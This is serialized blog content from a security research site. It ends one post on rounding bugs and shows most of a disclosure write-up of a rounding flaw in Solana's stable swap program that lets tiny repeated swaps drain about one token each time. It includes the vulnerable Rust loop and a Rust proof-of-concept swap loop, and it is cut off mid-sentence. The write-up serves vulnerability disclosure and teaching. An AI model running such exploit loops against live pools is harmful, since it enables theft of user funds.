invariant",{"type":26,"value":61},{"type":20,"tag":29,"props":1200,"children":1201},{},[1202],{"type":26,"value":1203},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":20,"tag":29,"props":1205,"children":1206},{},[1207],{"type":26,"value":1208},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":20,"tag":21,"props":1210,"children":1212},{"id":1211},"conclusion",[1213],{"type":26,"value":1214},"Conclusion",{"type":20,"tag":29,"props":1216,"children":1217},{},[1218],{"type":26,"value":1219},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":20,"tag":29,"props":1221,"children":1222},{},[1223],{"type":26,"value":1224},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":20,"tag":1226,"props":1227,"children":1228},"style",{},[1229],{"type":26,"value":1230},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":356,"depth":356,"links":1232},[1233,1234,1235,1239,1240,1241],{"id":23,"depth":356,"text":27},{"id":89,"depth":356,"text":92},{"id":209,"depth":356,"text":212,"children":1236},[1237,1238],{"id":221,"depth":365,"text":224},{"id":259,"depth":365,"text":262},{"id":868,"depth":356,"text":871},{"id":935,"depth":356,"text":938},{"id":1211,"depth":356,"text":1214},"markdown","content:blog:2024-01-18-rounding-bugs.md","content","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs","md",[1249,3772,4109,7658,12016,17149,27419,28848,29611,33837,38864,44296,45281,48772,59167,65896,67735,69445,74110,88009,90730,95519,97959,100304,106090,121910,130210,140134,145412,154805,157142],{"_path":1250,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":1251,"description":1252,"image":1253,"date":1257,"isFeatured":15,"tags":1258,"onBlogPage":15,"body":1261,"_type":1242,"_id":3769,"_source":1244,"_file":3770,"_stem":3771,"_extension":1247},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":1254,"width":1255,"height":1256},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[1259,1260],"solana","report",{"type":17,"children":1262,"toc":3763},[1263,1277,1282,1287,1295,1301,1306,1311,1320,1328,1333,1338,1346,1351,1356,1737,1747,1752,2291,2296,2304,2312,2318,2323,2328,2333,2340,2352,2357,2369,2608,2613,2618,2624,2629,2634,2681,2686,2694,2699,2704,2709,2852,2865,2978,2992,3000,3014,3022,3035,3040,3052,3060,3082,3700,3706,3711,3724,3737,3744,3749,3754,3759],{"type":20,"tag":29,"props":1264,"children":1265},{},[1266,1268,1275],{"type":26,"value":1267},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":20,"tag":35,"props":1269,"children":1272},{"href":1270,"rel":1271},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[39],[1273],{"type":26,"value":1274},"spl-token-swap",{"type":26,"value":1276},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":20,"tag":29,"props":1278,"children":1279},{},[1280],{"type":26,"value":1281},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":20,"tag":29,"props":1283,"children":1284},{},[1285],{"type":26,"value":1286},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":20,"tag":29,"props":1288,"children":1289},{},[1290],{"type":20,"tag":55,"props":1291,"children":1292},{},[1293],{"type":26,"value":1294},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":20,"tag":21,"props":1296,"children":1298},{"id":1297},"discovery",[1299],{"type":26,"value":1300},"Discovery",{"type":20,"tag":29,"props":1302,"children":1303},{},[1304],{"type":26,"value":1305},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":20,"tag":29,"props":1307,"children":1308},{},[1309],{"type":26,"value":1310},"After a while, he noticed something weird..",{"type":20,"tag":1312,"props":1313,"children":1314},"blockquote",{},[1315],{"type":20,"tag":29,"props":1316,"children":1317},{},[1318],{"type":26,"value":1319},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":20,"tag":305,"props":1321,"children":1323},{"code":1322},"KwnjUuZ : 0 9vMJfxu -> 1 EPjFWdd\nKwnjUuZ : 1 EPjFWdd -> 2 9vMJfxu\nKwnjUuZ : 2 9vMJfxu -> 3 EPjFWdd\nHU1tejU : 3 EPjFWdd -> 625 PRT88Rk\n24ZbKS3 : 625 PRT88Rk -> 7 EPjFWdd\n3oRPcFa : 7 EPjFWdd -> 6 BQcdHdA\n",[1324],{"type":20,"tag":119,"props":1325,"children":1326},{"__ignoreMap":7},[1327],{"type":26,"value":1322},{"type":20,"tag":29,"props":1329,"children":1330},{},[1331],{"type":26,"value":1332},"Somehow, we were getting tokens from nothing?",{"type":20,"tag":29,"props":1334,"children":1335},{},[1336],{"type":26,"value":1337},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":20,"tag":305,"props":1339,"children":1341},{"code":1340},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[1342],{"type":20,"tag":119,"props":1343,"children":1344},{"__ignoreMap":7},[1345],{"type":26,"value":1340},{"type":20,"tag":29,"props":1347,"children":1348},{},[1349],{"type":26,"value":1350},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":20,"tag":29,"props":1352,"children":1353},{},[1354],{"type":26,"value":1355},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":20,"tag":305,"props":1357,"children":1361},{"code":1358,"language":1359,"meta":7,"className":1360,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n if y_new == y {\n break;\n } else {\n y = y_new;\n }\n }\n","rust","language-rust shiki shiki-themes slack-dark",[1362],{"type":20,"tag":119,"props":1363,"children":1364},{"__ignoreMap":7},[1365,1373,1406,1438,1542,1647,1673,1685,1701,1721,1729],{"type":20,"tag":315,"props":1366,"children":1367},{"class":317,"line":318},[1368],{"type":20,"tag":315,"props":1369,"children":1370},{"style":1071},[1371],{"type":26,"value":1372}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":20,"tag":315,"props":1374,"children":1375},{"class":317,"line":356},[1376,1381,1386,1391,1396,1401],{"type":20,"tag":315,"props":1377,"children":1378},{"style":541},[1379],{"type":26,"value":1380}," let",{"type":20,"tag":315,"props":1382,"children":1383},{"style":541},[1384],{"type":26,"value":1385}," mut",{"type":20,"tag":315,"props":1387,"children":1388},{"style":635},[1389],{"type":26,"value":1390}," y",{"type":20,"tag":315,"props":1392,"children":1393},{"style":334},[1394],{"type":26,"value":1395}," =",{"type":20,"tag":315,"props":1397,"children":1398},{"style":635},[1399],{"type":26,"value":1400}," d_val",{"type":20,"tag":315,"props":1402,"children":1403},{"style":328},[1404],{"type":26,"value":1405},";\n",{"type":20,"tag":315,"props":1407,"children":1408},{"class":317,"line":365},[1409,1414,1419,1424,1428,1433],{"type":20,"tag":315,"props":1410,"children":1411},{"style":525},[1412],{"type":26,"value":1413}," for",{"type":20,"tag":315,"props":1415,"children":1416},{"style":635},[1417],{"type":26,"value":1418}," _",{"type":20,"tag":315,"props":1420,"children":1421},{"style":541},[1422],{"type":26,"value":1423}," in",{"type":20,"tag":315,"props":1425,"children":1426},{"style":765},[1427],{"type":26,"value":985},{"type":20,"tag":315,"props":1429,"children":1430},{"style":334},[1431],{"type":26,"value":1432},"..",{"type":20,"tag":315,"props":1434,"children":1435},{"style":328},[1436],{"type":26,"value":1437},"ITERATIONS {\n",{"type":20,"tag":315,"props":1439,"children":1440},{"class":317,"line":374},[1441,1446,1450,1455,1459,1464,1469,1473,1477,1482,1486,1491,1496,1500,1505,1510,1515,1520,1524,1529,1533,1538],{"type":20,"tag":315,"props":1442,"children":1443},{"style":541},[1444],{"type":26,"value":1445}," let",{"type":20,"tag":315,"props":1447,"children":1448},{"style":328},[1449],{"type":26,"value":463},{"type":20,"tag":315,"props":1451,"children":1452},{"style":635},[1453],{"type":26,"value":1454},"y_new",{"type":20,"tag":315,"props":1456,"children":1457},{"style":328},[1458],{"type":26,"value":44},{"type":20,"tag":315,"props":1460,"children":1461},{"style":635},[1462],{"type":26,"value":1463},"_",{"type":20,"tag":315,"props":1465,"children":1466},{"style":328},[1467],{"type":26,"value":1468},") ",{"type":20,"tag":315,"props":1470,"children":1471},{"style":334},[1472],{"type":26,"value":337},{"type":20,"tag":315,"props":1474,"children":1475},{"style":328},[1476],{"type":26,"value":463},{"type":20,"tag":315,"props":1478,"children":1479},{"style":345},[1480],{"type":26,"value":1481},"checked_u8_power",{"type":20,"tag":315,"props":1483,"children":1484},{"style":328},[1485],{"type":26,"value":1049},{"type":20,"tag":315,"props":1487,"children":1488},{"style":334},[1489],{"type":26,"value":1490},"&",{"type":20,"tag":315,"props":1492,"children":1493},{"style":635},[1494],{"type":26,"value":1495},"y",{"type":20,"tag":315,"props":1497,"children":1498},{"style":328},[1499],{"type":26,"value":44},{"type":20,"tag":315,"props":1501,"children":1502},{"style":765},[1503],{"type":26,"value":1504},"2",{"type":20,"tag":315,"props":1506,"children":1507},{"style":328},[1508],{"type":26,"value":1509},")",{"type":20,"tag":315,"props":1511,"children":1512},{"style":334},[1513],{"type":26,"value":1514},"?.",{"type":20,"tag":315,"props":1516,"children":1517},{"style":345},[1518],{"type":26,"value":1519},"checked_add",{"type":20,"tag":315,"props":1521,"children":1522},{"style":328},[1523],{"type":26,"value":1049},{"type":20,"tag":315,"props":1525,"children":1526},{"style":635},[1527],{"type":26,"value":1528},"c",{"type":20,"tag":315,"props":1530,"children":1531},{"style":328},[1532],{"type":26,"value":1509},{"type":20,"tag":315,"props":1534,"children":1535},{"style":334},[1536],{"type":26,"value":1537},"?",{"type":20,"tag":315,"props":1539,"children":1540},{"style":328},[1541],{"type":26,"value":380},{"type":20,"tag":315,"props":1543,"children":1544},{"class":317,"line":383},[1545,1550,1555,1559,1564,1568,1572,1576,1580,1584,1588,1592,1596,1600,1605,1609,1613,1618,1622,1627,1631,1635,1639,1643],{"type":20,"tag":315,"props":1546,"children":1547},{"style":334},[1548],{"type":26,"value":1549}," .",{"type":20,"tag":315,"props":1551,"children":1552},{"style":345},[1553],{"type":26,"value":1554},"checked_ceil_div",{"type":20,"tag":315,"props":1556,"children":1557},{"style":328},[1558],{"type":26,"value":1049},{"type":20,"tag":315,"props":1560,"children":1561},{"style":345},[1562],{"type":26,"value":1563},"checked_u8_mul",{"type":20,"tag":315,"props":1565,"children":1566},{"style":328},[1567],{"type":26,"value":1049},{"type":20,"tag":315,"props":1569,"children":1570},{"style":334},[1571],{"type":26,"value":1490},{"type":20,"tag":315,"props":1573,"children":1574},{"style":635},[1575],{"type":26,"value":1495},{"type":20,"tag":315,"props":1577,"children":1578},{"style":328},[1579],{"type":26,"value":44},{"type":20,"tag":315,"props":1581,"children":1582},{"style":765},[1583],{"type":26,"value":1504},{"type":20,"tag":315,"props":1585,"children":1586},{"style":328},[1587],{"type":26,"value":1509},{"type":20,"tag":315,"props":1589,"children":1590},{"style":334},[1591],{"type":26,"value":1514},{"type":20,"tag":315,"props":1593,"children":1594},{"style":345},[1595],{"type":26,"value":1519},{"type":20,"tag":315,"props":1597,"children":1598},{"style":328},[1599],{"type":26,"value":1049},{"type":20,"tag":315,"props":1601,"children":1602},{"style":635},[1603],{"type":26,"value":1604},"b",{"type":20,"tag":315,"props":1606,"children":1607},{"style":328},[1608],{"type":26,"value":1509},{"type":20,"tag":315,"props":1610,"children":1611},{"style":334},[1612],{"type":26,"value":1514},{"type":20,"tag":315,"props":1614,"children":1615},{"style":345},[1616],{"type":26,"value":1617},"checked_sub",{"type":20,"tag":315,"props":1619,"children":1620},{"style":328},[1621],{"type":26,"value":1049},{"type":20,"tag":315,"props":1623,"children":1624},{"style":635},[1625],{"type":26,"value":1626},"d_val",{"type":20,"tag":315,"props":1628,"children":1629},{"style":328},[1630],{"type":26,"value":1509},{"type":20,"tag":315,"props":1632,"children":1633},{"style":334},[1634],{"type":26,"value":1537},{"type":20,"tag":315,"props":1636,"children":1637},{"style":328},[1638],{"type":26,"value":1509},{"type":20,"tag":315,"props":1640,"children":1641},{"style":334},[1642],{"type":26,"value":1537},{"type":20,"tag":315,"props":1644,"children":1645},{"style":328},[1646],{"type":26,"value":1405},{"type":20,"tag":315,"props":1648,"children":1649},{"class":317,"line":407},[1650,1655,1660,1665,1669],{"type":20,"tag":315,"props":1651,"children":1652},{"style":525},[1653],{"type":26,"value":1654}," if",{"type":20,"tag":315,"props":1656,"children":1657},{"style":635},[1658],{"type":26,"value":1659}," y_new",{"type":20,"tag":315,"props":1661,"children":1662},{"style":334},[1663],{"type":26,"value":1664}," ==",{"type":20,"tag":315,"props":1666,"children":1667},{"style":635},[1668],{"type":26,"value":1390},{"type":20,"tag":315,"props":1670,"children":1671},{"style":328},[1672],{"type":26,"value":1092},{"type":20,"tag":315,"props":1674,"children":1675},{"class":317,"line":421},[1676,1681],{"type":20,"tag":315,"props":1677,"children":1678},{"style":525},[1679],{"type":26,"value":1680}," break",{"type":20,"tag":315,"props":1682,"children":1683},{"style":328},[1684],{"type":26,"value":1405},{"type":20,"tag":315,"props":1686,"children":1687},{"class":317,"line":430},[1688,1693,1697],{"type":20,"tag":315,"props":1689,"children":1690},{"style":328},[1691],{"type":26,"value":1692}," } ",{"type":20,"tag":315,"props":1694,"children":1695},{"style":525},[1696],{"type":26,"value":1087},{"type":20,"tag":315,"props":1698,"children":1699},{"style":328},[1700],{"type":26,"value":1092},{"type":20,"tag":315,"props":1702,"children":1703},{"class":317,"line":453},[1704,1709,1713,1717],{"type":20,"tag":315,"props":1705,"children":1706},{"style":635},[1707],{"type":26,"value":1708}," y",{"type":20,"tag":315,"props":1710,"children":1711},{"style":334},[1712],{"type":26,"value":1395},{"type":20,"tag":315,"props":1714,"children":1715},{"style":635},[1716],{"type":26,"value":1659},{"type":20,"tag":315,"props":1718,"children":1719},{"style":328},[1720],{"type":26,"value":1405},{"type":20,"tag":315,"props":1722,"children":1723},{"class":317,"line":486},[1724],{"type":20,"tag":315,"props":1725,"children":1726},{"style":328},[1727],{"type":26,"value":1728}," }\n",{"type":20,"tag":315,"props":1730,"children":1731},{"class":317,"line":499},[1732],{"type":20,"tag":315,"props":1733,"children":1734},{"style":328},[1735],{"type":26,"value":1736}," }\n",{"type":20,"tag":29,"props":1738,"children":1739},{},[1740,1745],{"type":20,"tag":55,"props":1741,"children":1742},{},[1743],{"type":26,"value":1744},"approximate",{"type":26,"value":1746},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":20,"tag":29,"props":1748,"children":1749},{},[1750],{"type":26,"value":1751},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":20,"tag":305,"props":1753,"children":1755},{"code":1754,"language":1359,"meta":7,"className":1360,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n // create swap transaction\n let mut swap_instruction = swap(\n &spl_token::id(),\n &swap_pubkey,\n &swap_authority_pubkey,\n &test_account_signer.pubkey(),\n &sbtc_user_account,\n &sbtc_reserve,\n &renbtc_reserve,\n &renbtc_user_account,\n &admin_fee_account_sbtc_to_ren,\n 1,\n 2\n ).unwrap();\n\n // nonce\n swap_instruction.data.append(&mut vec![i, extranonce]);\n\n let mut instructions = vec![];\n\n instructions.push(swap_instruction);\n\n env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[1756],{"type":20,"tag":119,"props":1757,"children":1758},{"__ignoreMap":7},[1759,1767,1807,1815,1844,1872,1888,1904,1929,1945,1961,1977,1993,2009,2021,2029,2051,2059,2068,2137,2145,2175,2183,2215,2223,2283],{"type":20,"tag":315,"props":1760,"children":1761},{"class":317,"line":318},[1762],{"type":20,"tag":315,"props":1763,"children":1764},{"style":1071},[1765],{"type":26,"value":1766},"// from sbtc to renbtc\n",{"type":20,"tag":315,"props":1768,"children":1769},{"class":317,"line":356},[1770,1775,1780,1784,1788,1793,1798,1803],{"type":20,"tag":315,"props":1771,"children":1772},{"style":525},[1773],{"type":26,"value":1774},"for",{"type":20,"tag":315,"props":1776,"children":1777},{"style":635},[1778],{"type":26,"value":1779}," i",{"type":20,"tag":315,"props":1781,"children":1782},{"style":541},[1783],{"type":26,"value":1423},{"type":20,"tag":315,"props":1785,"children":1786},{"style":765},[1787],{"type":26,"value":985},{"type":20,"tag":315,"props":1789,"children":1790},{"style":334},[1791],{"type":26,"value":1792}," ..",{"type":20,"tag":315,"props":1794,"children":1795},{"style":765},[1796],{"type":26,"value":1797}," 50",{"type":20,"tag":315,"props":1799,"children":1800},{"style":322},[1801],{"type":26,"value":1802},"u8",{"type":20,"tag":315,"props":1804,"children":1805},{"style":328},[1806],{"type":26,"value":1092},{"type":20,"tag":315,"props":1808,"children":1809},{"class":317,"line":365},[1810],{"type":20,"tag":315,"props":1811,"children":1812},{"style":1071},[1813],{"type":26,"value":1814}," // create swap transaction\n",{"type":20,"tag":315,"props":1816,"children":1817},{"class":317,"line":374},[1818,1822,1826,1831,1835,1840],{"type":20,"tag":315,"props":1819,"children":1820},{"style":541},[1821],{"type":26,"value":1380},{"type":20,"tag":315,"props":1823,"children":1824},{"style":541},[1825],{"type":26,"value":1385},{"type":20,"tag":315,"props":1827,"children":1828},{"style":635},[1829],{"type":26,"value":1830}," swap_instruction",{"type":20,"tag":315,"props":1832,"children":1833},{"style":334},[1834],{"type":26,"value":1395},{"type":20,"tag":315,"props":1836,"children":1837},{"style":345},[1838],{"type":26,"value":1839}," swap",{"type":20,"tag":315,"props":1841,"children":1842},{"style":328},[1843],{"type":26,"value":353},{"type":20,"tag":315,"props":1845,"children":1846},{"class":317,"line":383},[1847,1852,1857,1862,1867],{"type":20,"tag":315,"props":1848,"children":1849},{"style":334},[1850],{"type":26,"value":1851}," &",{"type":20,"tag":315,"props":1853,"children":1854},{"style":328},[1855],{"type":26,"value":1856},"spl_token",{"type":20,"tag":315,"props":1858,"children":1859},{"style":334},[1860],{"type":26,"value":1861},"::",{"type":20,"tag":315,"props":1863,"children":1864},{"style":345},[1865],{"type":26,"value":1866},"id",{"type":20,"tag":315,"props":1868,"children":1869},{"style":328},[1870],{"type":26,"value":1871},"(),\n",{"type":20,"tag":315,"props":1873,"children":1874},{"class":317,"line":407},[1875,1879,1884],{"type":20,"tag":315,"props":1876,"children":1877},{"style":334},[1878],{"type":26,"value":1851},{"type":20,"tag":315,"props":1880,"children":1881},{"style":635},[1882],{"type":26,"value":1883},"swap_pubkey",{"type":20,"tag":315,"props":1885,"children":1886},{"style":328},[1887],{"type":26,"value":643},{"type":20,"tag":315,"props":1889,"children":1890},{"class":317,"line":421},[1891,1895,1900],{"type":20,"tag":315,"props":1892,"children":1893},{"style":334},[1894],{"type":26,"value":1851},{"type":20,"tag":315,"props":1896,"children":1897},{"style":635},[1898],{"type":26,"value":1899},"swap_authority_pubkey",{"type":20,"tag":315,"props":1901,"children":1902},{"style":328},[1903],{"type":26,"value":643},{"type":20,"tag":315,"props":1905,"children":1906},{"class":317,"line":430},[1907,1911,1916,1920,1925],{"type":20,"tag":315,"props":1908,"children":1909},{"style":334},[1910],{"type":26,"value":1851},{"type":20,"tag":315,"props":1912,"children":1913},{"style":635},[1914],{"type":26,"value":1915},"test_account_signer",{"type":20,"tag":315,"props":1917,"children":1918},{"style":334},[1919],{"type":26,"value":61},{"type":20,"tag":315,"props":1921,"children":1922},{"style":345},[1923],{"type":26,"value":1924},"pubkey",{"type":20,"tag":315,"props":1926,"children":1927},{"style":328},[1928],{"type":26,"value":1871},{"type":20,"tag":315,"props":1930,"children":1931},{"class":317,"line":453},[1932,1936,1941],{"type":20,"tag":315,"props":1933,"children":1934},{"style":334},[1935],{"type":26,"value":1851},{"type":20,"tag":315,"props":1937,"children":1938},{"style":635},[1939],{"type":26,"value":1940},"sbtc_user_account",{"type":20,"tag":315,"props":1942,"children":1943},{"style":328},[1944],{"type":26,"value":643},{"type":20,"tag":315,"props":1946,"children":1947},{"class":317,"line":486},[1948,1952,1957],{"type":20,"tag":315,"props":1949,"children":1950},{"style":334},[1951],{"type":26,"value":1851},{"type":20,"tag":315,"props":1953,"children":1954},{"style":635},[1955],{"type":26,"value":1956},"sbtc_reserve",{"type":20,"tag":315,"props":1958,"children":1959},{"style":328},[1960],{"type":26,"value":643},{"type":20,"tag":315,"props":1962,"children":1963},{"class":317,"line":499},[1964,1968,1973],{"type":20,"tag":315,"props":1965,"children":1966},{"style":334},[1967],{"type":26,"value":1851},{"type":20,"tag":315,"props":1969,"children":1970},{"style":635},[1971],{"type":26,"value":1972},"renbtc_reserve",{"type":20,"tag":315,"props":1974,"children":1975},{"style":328},[1976],{"type":26,"value":643},{"type":20,"tag":315,"props":1978,"children":1979},{"class":317,"line":513},[1980,1984,1989],{"type":20,"tag":315,"props":1981,"children":1982},{"style":334},[1983],{"type":26,"value":1851},{"type":20,"tag":315,"props":1985,"children":1986},{"style":635},[1987],{"type":26,"value":1988},"renbtc_user_account",{"type":20,"tag":315,"props":1990,"children":1991},{"style":328},[1992],{"type":26,"value":643},{"type":20,"tag":315,"props":1994,"children":1995},{"class":317,"line":521},[1996,2000,2005],{"type":20,"tag":315,"props":1997,"children":1998},{"style":334},[1999],{"type":26,"value":1851},{"type":20,"tag":315,"props":2001,"children":2002},{"style":635},[2003],{"type":26,"value":2004},"admin_fee_account_sbtc_to_ren",{"type":20,"tag":315,"props":2006,"children":2007},{"style":328},[2008],{"type":26,"value":643},{"type":20,"tag":315,"props":2010,"children":2011},{"class":317,"line":552},[2012,2017],{"type":20,"tag":315,"props":2013,"children":2014},{"style":765},[2015],{"type":26,"value":2016}," 1",{"type":20,"tag":315,"props":2018,"children":2019},{"style":328},[2020],{"type":26,"value":643},{"type":20,"tag":315,"props":2022,"children":2023},{"class":317,"line":571},[2024],{"type":20,"tag":315,"props":2025,"children":2026},{"style":765},[2027],{"type":26,"value":2028}," 2\n",{"type":20,"tag":315,"props":2030,"children":2032},{"class":317,"line":2031},16,[2033,2038,2042,2047],{"type":20,"tag":315,"props":2034,"children":2035},{"style":328},[2036],{"type":26,"value":2037}," )",{"type":20,"tag":315,"props":2039,"children":2040},{"style":334},[2041],{"type":26,"value":61},{"type":20,"tag":315,"props":2043,"children":2044},{"style":345},[2045],{"type":26,"value":2046},"unwrap",{"type":20,"tag":315,"props":2048,"children":2049},{"style":328},[2050],{"type":26,"value":568},{"type":20,"tag":315,"props":2052,"children":2054},{"class":317,"line":2053},17,[2055],{"type":20,"tag":315,"props":2056,"children":2057},{"emptyLinePlaceholder":15},[2058],{"type":26,"value":427},{"type":20,"tag":315,"props":2060,"children":2062},{"class":317,"line":2061},18,[2063],{"type":20,"tag":315,"props":2064,"children":2065},{"style":1071},[2066],{"type":26,"value":2067}," // nonce\n",{"type":20,"tag":315,"props":2069,"children":2071},{"class":317,"line":2070},19,[2072,2077,2081,2086,2090,2095,2099,2103,2108,2113,2118,2123,2127,2132],{"type":20,"tag":315,"props":2073,"children":2074},{"style":635},[2075],{"type":26,"value":2076}," swap_instruction",{"type":20,"tag":315,"props":2078,"children":2079},{"style":334},[2080],{"type":26,"value":61},{"type":20,"tag":315,"props":2082,"children":2083},{"style":328},[2084],{"type":26,"value":2085},"data",{"type":20,"tag":315,"props":2087,"children":2088},{"style":334},[2089],{"type":26,"value":61},{"type":20,"tag":315,"props":2091,"children":2092},{"style":345},[2093],{"type":26,"value":2094},"append",{"type":20,"tag":315,"props":2096,"children":2097},{"style":328},[2098],{"type":26,"value":1049},{"type":20,"tag":315,"props":2100,"children":2101},{"style":334},[2102],{"type":26,"value":1490},{"type":20,"tag":315,"props":2104,"children":2105},{"style":541},[2106],{"type":26,"value":2107},"mut",{"type":20,"tag":315,"props":2109,"children":2110},{"style":345},[2111],{"type":26,"value":2112}," vec!",{"type":20,"tag":315,"props":2114,"children":2115},{"style":328},[2116],{"type":26,"value":2117},"[",{"type":20,"tag":315,"props":2119,"children":2120},{"style":635},[2121],{"type":26,"value":2122},"i",{"type":20,"tag":315,"props":2124,"children":2125},{"style":328},[2126],{"type":26,"value":44},{"type":20,"tag":315,"props":2128,"children":2129},{"style":635},[2130],{"type":26,"value":2131},"extranonce",{"type":20,"tag":315,"props":2133,"children":2134},{"style":328},[2135],{"type":26,"value":2136},"]);\n",{"type":20,"tag":315,"props":2138,"children":2140},{"class":317,"line":2139},20,[2141],{"type":20,"tag":315,"props":2142,"children":2143},{"emptyLinePlaceholder":15},[2144],{"type":26,"value":427},{"type":20,"tag":315,"props":2146,"children":2148},{"class":317,"line":2147},21,[2149,2153,2157,2162,2166,2170],{"type":20,"tag":315,"props":2150,"children":2151},{"style":541},[2152],{"type":26,"value":1380},{"type":20,"tag":315,"props":2154,"children":2155},{"style":541},[2156],{"type":26,"value":1385},{"type":20,"tag":315,"props":2158,"children":2159},{"style":635},[2160],{"type":26,"value":2161}," instructions",{"type":20,"tag":315,"props":2163,"children":2164},{"style":334},[2165],{"type":26,"value":1395},{"type":20,"tag":315,"props":2167,"children":2168},{"style":345},[2169],{"type":26,"value":2112},{"type":20,"tag":315,"props":2171,"children":2172},{"style":328},[2173],{"type":26,"value":2174},"[];\n",{"type":20,"tag":315,"props":2176,"children":2178},{"class":317,"line":2177},22,[2179],{"type":20,"tag":315,"props":2180,"children":2181},{"emptyLinePlaceholder":15},[2182],{"type":26,"value":427},{"type":20,"tag":315,"props":2184,"children":2186},{"class":317,"line":2185},23,[2187,2192,2196,2201,2205,2210],{"type":20,"tag":315,"props":2188,"children":2189},{"style":635},[2190],{"type":26,"value":2191}," instructions",{"type":20,"tag":315,"props":2193,"children":2194},{"style":334},[2195],{"type":26,"value":61},{"type":20,"tag":315,"props":2197,"children":2198},{"style":345},[2199],{"type":26,"value":2200},"push",{"type":20,"tag":315,"props":2202,"children":2203},{"style":328},[2204],{"type":26,"value":1049},{"type":20,"tag":315,"props":2206,"children":2207},{"style":635},[2208],{"type":26,"value":2209},"swap_instruction",{"type":20,"tag":315,"props":2211,"children":2212},{"style":328},[2213],{"type":26,"value":2214},");\n",{"type":20,"tag":315,"props":2216,"children":2218},{"class":317,"line":2217},24,[2219],{"type":20,"tag":315,"props":2220,"children":2221},{"emptyLinePlaceholder":15},[2222],{"type":26,"value":427},{"type":20,"tag":315,"props":2224,"children":2226},{"class":317,"line":2225},25,[2227,2232,2236,2241,2245,2249,2254,2258,2262,2267,2271,2275,2279],{"type":20,"tag":315,"props":2228,"children":2229},{"style":635},[2230],{"type":26,"value":2231}," env",{"type":20,"tag":315,"props":2233,"children":2234},{"style":334},[2235],{"type":26,"value":61},{"type":20,"tag":315,"props":2237,"children":2238},{"style":345},[2239],{"type":26,"value":2240},"execute_as_transaction",{"type":20,"tag":315,"props":2242,"children":2243},{"style":328},[2244],{"type":26,"value":1049},{"type":20,"tag":315,"props":2246,"children":2247},{"style":334},[2248],{"type":26,"value":1490},{"type":20,"tag":315,"props":2250,"children":2251},{"style":635},[2252],{"type":26,"value":2253},"instructions",{"type":20,"tag":315,"props":2255,"children":2256},{"style":328},[2257],{"type":26,"value":44},{"type":20,"tag":315,"props":2259,"children":2260},{"style":334},[2261],{"type":26,"value":1490},{"type":20,"tag":315,"props":2263,"children":2264},{"style":345},[2265],{"type":26,"value":2266},"vec!",{"type":20,"tag":315,"props":2268,"children":2269},{"style":328},[2270],{"type":26,"value":2117},{"type":20,"tag":315,"props":2272,"children":2273},{"style":334},[2274],{"type":26,"value":1490},{"type":20,"tag":315,"props":2276,"children":2277},{"style":635},[2278],{"type":26,"value":1915},{"type":20,"tag":315,"props":2280,"children":2281},{"style":328},[2282],{"type":26,"value":2136},{"type":20,"tag":315,"props":2284,"children":2286},{"class":317,"line":2285},26,[2287],{"type":20,"tag":315,"props":2288,"children":2289},{"style":328},[2290],{"type":26,"value":577},{"type":20,"tag":29,"props":2292,"children":2293},{},[2294],{"type":26,"value":2295},"It works!",{"type":20,"tag":1312,"props":2297,"children":2298},{},[2299],{"type":20,"tag":29,"props":2300,"children":2301},{},[2302],{"type":26,"value":2303},"holy shit\nyea, this is big",{"type":20,"tag":29,"props":2305,"children":2306},{},[2307],{"type":20,"tag":2308,"props":2309,"children":2311},"img",{"alt":7,"src":2310},"/posts/spl-swap/poc.png",[],{"type":20,"tag":21,"props":2313,"children":2315},{"id":2314},"exploitability",[2316],{"type":26,"value":2317},"Exploitability",{"type":20,"tag":29,"props":2319,"children":2320},{},[2321],{"type":26,"value":2322},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees 